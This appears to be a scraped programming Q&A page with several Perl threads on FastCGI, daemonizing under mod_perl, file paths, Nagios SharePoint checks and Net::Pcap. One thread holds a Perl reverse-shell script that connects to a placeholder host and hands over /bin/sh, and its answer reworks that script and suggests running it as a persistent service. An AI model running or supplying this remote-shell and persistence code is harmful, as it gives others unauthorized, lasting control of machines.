FastCGI with perl - On shared Linux webhost - linux

I am trying to build an online "live chat" service, and for many reasons I found FastCGI to be suitable for that (as per its documentation), but I cannot seem to get it running.
I am using shared hosting with Apache 2.2 with mod_fcgid installed.
My .htaccess file has the following line added:
AddHandler fcgid-script .fcgi
My perl test script named fcgitest.fcgi is as follows:
#!/usr/bin/perl
# fcgitest.fcgi
use diagnostics;
use warnings;
use strict;
use CGI;
use CGI::Carp 'fatalsToBrowser'; # tester only!
use FCGI;
my %env; my $in = new IO::Handle; my $out = new IO::Handle; my $err = new IO::Handle;
my $request=FCGI::Request($in, $out, $err, \%env);
if($request->IsFastCGI()==0) {
print "Content-Type: text/plain\n\n"; binmode STDOUT; print "ERR"; exit 0;
}
my $tm=time();
while($request->Accept() >= 0) {
my $env=$request->GetEnvironment();
print "Content-Type: text/plain\n\n"; binmode STDOUT;
print time()." ".$env;
if(time()>($tm+60)) { $request->Finish(); exit 0; }
}
print "Content-Type: text/plain\n\n"; binmode STDOUT; print "---"; exit 0;
When I call this script from within one of my pages, I getting Internal Server Error, code 500, with NO explanation and NO error log in the server log file.
I tried to hide all the code and leave only the print statement, the problem remains the same.
I tried moving the file into the fcgi-bin directory, but the problem remains.
I have checked that the perl module is well installed.
I have no idea what can cause this error, as my hosting supplier says the server is well-configured for FCGI...

what shared hosting are you using? Most shared hosting have fcgi already installed, and you don't need to test the fcgi module on your own.
For example, on godaddy shared hosting, .fcgi/.fpl and even my .pl files would run over FCGI instead of normal CGI. No extra effort.
try different file permissions like 644, 700, 750, 755 for the script you are running.
Also, try adding the line:
print "Content-type:text/html\n\n";
after use CGI::Carp line.

Related

how can i create persistent socket connection on perl?

I'm learning Perl and I have two Linux systems (server/client). I want to connect them via Perl with a reverse socket connection.
The way I do it is with this command on the server side:
perl -e 'use Socket;
$i="**iphere**";
$p=**porthere**;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};'
This works fine, but I want to make it persistent on time. Maybe executing some delayed script.
The server system is CentOS.
Any idea?
Well, step one would be to take your command-line script and turn it into a real program. Put it in a file called my_server and reformat it like this (to make it easier to maintain).
use Socket;
$i = "**iphere**";
$p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
You can now run that by typing perl my_server at the command line. We can make it look more like a command by adding a shebang line and making it executable. At this point I'm also going to add Perl's safety nets, use strict and use warnings (which you should always have in your Perl code), and they will require us to define our variables with my.
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
my $i = "**iphere**";
my $p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
If we now make that executable (chmod +x my_server), we can now run it by just typing the program's name (my_server) on the command line.
The next step would be to make it into a proper service which you can start, stop and monitor using your OS's native service capabilities. I don't have time to get into that in detail, but I'd be looking at Daemon::Control.
You're kinda using Old school, C like of socket programming in perl which is good but remember it's Perl. To make it more readable and simple, you can always use IO::Socket. Which improves code readability and reduces code complexity. Also in production environment, I would recommend you to add server IP's in /etc/hosts and use the host name instead of IP.

Proc::Daemon with mod_perl does not write STDOUT or STDERR

I have am using Proc::Daemon in a mod_perl script thusly:
$bindir, $ddir are executable/logfile locations and $jid is a unique per process identifier (to avoid having the same file open by multiple processes). $cmd is loaded with arbitrary perl scripts and arguments.
my $daemon = Proc::Daemon->new (
work_dir => $bindir,
child_STDOUT => $ddir.'/'.$jid.'_stdout.log',
child_STDERR => $ddir.'/'.$jid.'_stderr.log',
pid_file => $ddir.'/'.$jid.'_pid.txt',
exec_command => $cmd,
);
my $pid = $daemon->Init();
The above works fine when using Apache with cgi-script (no mod_perl). In the "$cmd" process, print and print STDERR log to the above defined log files.
When I run the above using mod_perl2, on Ubuntu Linux 14.04 LTS, using Apache2 The pid file gets written with the PID and the above log files are created, but nothing is ever written to the log files. I am able to open new files descriptors within $cmd and write to them, but under mod_perl, it is not sending output to the child_STDOUT and child_STDERR files.
I think I am missing something really obvious. Has anyone else seen this before, and or have any suggestions in getting this to work in mod_perl.
Additional info
Using the mpm_prefork module in Apache
Relevant Apache Config
<Files "*.pl">
# SetHandler cgi-script # It works if I use cgi-script
SetHandler perl-script
PerlOptions -SetupEnv # Tried with and without this
# PerlHandler ModPerl::RegistryPrefork # Using this made no difference
PerlHandler ModPerl::Registry
</Files>
OK so there were so many solutions that did not work This is what I wound up doing. I created a script called launchjob.pl:
#!/usr/bin/perl -w
use strict;
use warnings;
use POSIX 'setsid';
use Proc::Daemon;
my $bindir = $ARGV[0];
my $ddir = $ARGV[1];
my $jid = $ARGV[2];
my $cmd = $ARGV[3];
setsid or die "Cannot start a new session: $!";
my $daemon = Proc::Daemon->new (
work_dir => $bindir,
child_STDOUT => $ddir.'/'.$jid.'_stdout.log',
child_STDERR => $ddir.'/'.$jid.'_stderr.log',
pid_file => $ddir.'/'.$jid.'_pid.txt',
exec_command => $cmd,
);
my $pid = $daemon->Init();
exit 1;
I replaced the code, in the mainline, where I was calling Proc::Daemon with the following:
The following did not work. Proc::Daemon gave me an sh: No such file or directory error.
system('launchjob.pl', $bindir, $ddir, $jid, $cmd);
Instead I used the following which seems to run as expected.
use IPC::Run3;
run3("launchjob.pl ".$bindir." ".$ddir." ".$jid." ".$cmd);
This seems to have fixed it right up.

Perl - Script working in Padre, Windows. But not in Linux Ubuntu

I've tried to transfer my script over that I've been working on in Windows. But it fails at the first hurdle.
use strict;
use warnings;
my $keywordFile = 'keyword.txt';
open(keyWords, $keywordFile) or die "$keywordFile not found\n";
my #keywordArray;
while ( my $line = <keyWords> ) {
chomp $line;
push #keywordArray, $line;
}
close(keyWords);
It keeps on dying, even though in the same destination there is a file called 'keyword.txt'. Is the issue coming from Ubuntu, or is my Perl wrong?
It keeps on dying, even though in the same destination there is a file called 'keyword.txt'
Relative paths are resolved against working directory (i.e. the directory script is run from), not the directory in which script is located.
You should either
Run your script from the directory that contains all needed files
Use FindBin module to get script location and use that path to refer to file names:
eg.
use FinBin;
my $keywordFile = "$FindBin::Bin/keyword.txt";

Nagios verify Sharepoint

I want to set Nagios (on my Debian) to verify a SharePoint server is up. I already tried to use cURL but it didn't worked for some issue that I don't know so I decided to change the way I'll verify that service.
It's simple in theory, I just have to make a script to send an request (http or https, doesn't matter) and check the response, if is 200 for successful or 40x if not (ok at this point).
So I have to use telnet or any ftp service to do that or I can use another feature/tool for that.
With telnet I'am having problem with 400 error. SharePoint returns this error when server is up or down, so I don't work for me.
Any ideas??
You can use the check_http plugin of Nagios. For example:
check_http -H SharepointHostname/IP -p port
You can use the -S flag for secure http connections
You can use the -u flag for going to specific URL
You can use the -s flag to search for a specific string in the HTML page returned from the url specified with the -u flag.
So basically you can request a specific page, scan for a known String, and if successfully found, you are sure this page is up (which means server is up etc.)
Example:
check_http -H my.sharepoint.com -u /start/page/sharepoint.aspx -s "test string"
Commonly this is done on login pages etc. Don't forget to escape special chars in your URL, if it contains any (like ? and &).
There's also a perl script available for checking sharepoint servers.
Does this not do what you want:
http://exchange.nagios.org/directory/Plugins/Email-and-Groupware/Microsoft-Sharepoint/check_sharepoint-2Epl/details
Most likely you're going to need a login/password for Sharepoint in order to monitor much more than the basic IIS / website is working.
I done my own way to check if SharePoint is UP or DOWN. Please pay attention that this script just checks the service status, nothing more like user permissions or whatever.
Perl script:
#!/usr/bin/env perl
use strict;
use warnings;
use LWP::UserAgent;
use Getopt::Long qw(:config no_ignore_case_always auto_version);
GetOptions ('h=s' => \my $h);
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)');
my $req = $ua->get('http://' . $h);
my $retorno = '';
if ($req->is_success)
{
$retorno = $req->content;
}
else
{
$retorno = $req->status_line;
}
if ($retorno eq "401 Unauthorized")
{
print "OK: SharePoint service at " . $h . " server is UP.";
exit 0;
}
else
{
print "CRITICAL: SharePoint service at " . $h . " server is DOWN.";
exit 2;
}
In case you got this exception when you run the script:
Can't locate LWP/UserAgent.pm in #INC
this article may help you as it helped me:
http://help.directadmin.com/item.php?id=274
So in Nagios commands.cfg file you'll declare the command this way:
command_line /usr/local/nagios/libexec/check_sharepoint.pl -h $HOSTADDRESS$
Where $HOSTADDRESS is the host IP variable in Nagios scope.
Remember to chmod +x on the file. I know you will...

Debian server "Can't locate loadable object" yet "Module is up to date"

I am trying to run a script on a Debian server that uses module Net::Pcap. The script works fine on all machines but this server, which happens to be the only one I NEED it to run on.
Upon running the script, I get the common "Can't locate loadable object for module Net::Pcap in #INC (path.. etc..)"
However, when I try to install using CPAN, I receive the message "Net::Pcap is up to date (0.16)."
I have manually removed Net::Pcap from all folders in #INC and reinstalled them both manually and through CPAN.
Anyone have a clue what my problem is?
For what it's worth, here is the code:
use Net::Pcap;
use NetPacket::TCP;
use NetPacket::IP;
use NetPacket::Ethernet;
use Net::PcapUtils;
open (TXT, ">", "data.txt");
Net::PcapUtils::loop(\&process_packet,SNAPLEN => 65536,PROMISC => 1, );
sub process_packet {
my($user_data, $header, $packet) = #_;
my $tcp_obj = NetPacket::TCP->decode($packet);
my $ip_obj = NetPacket::IP->decode($packet);
my $len = length $packet;
my $i=0;
print TXT "From: "."$ip_obj->{src_ip}".":"."$tcp_obj->{src_port}\n";
print TXT "To: "."$ip_obj->{dest_ip}".":"."$tcp_obj->{dest_port}\n";
do {
my $lg = substr $packet, $i, 16;
printf TXT "%.8X : ", $i;
$i+=16;
print TXT unpack ('H2'x16, $lg), ' 'x(16-length $lg);
$lg =~ s/[\x00-\x1F\xFF]/./g;
print TXT " $lg\n";
} until $i>=$len;
print TXT "\n";
}
close (TXT);
Maybe you are missing the native libs. Try to run as root:
apt-get install libnet-pcap-perl
Building on jjmontes's answer:
strace can be very helpful. For instance in this case you could have ran
strace perl -e 'use Net::Pcap'
I had a similar issue today where XSLoader couldn't find a library for Moose (due to a stale NFS file handle). When I saw strace trying to open Moose.so in many paths and never finding it I was able to track down that Moose.so was either missing or not readable. However, strace can be a lot of noise if you don't know how to filter through it.

Resources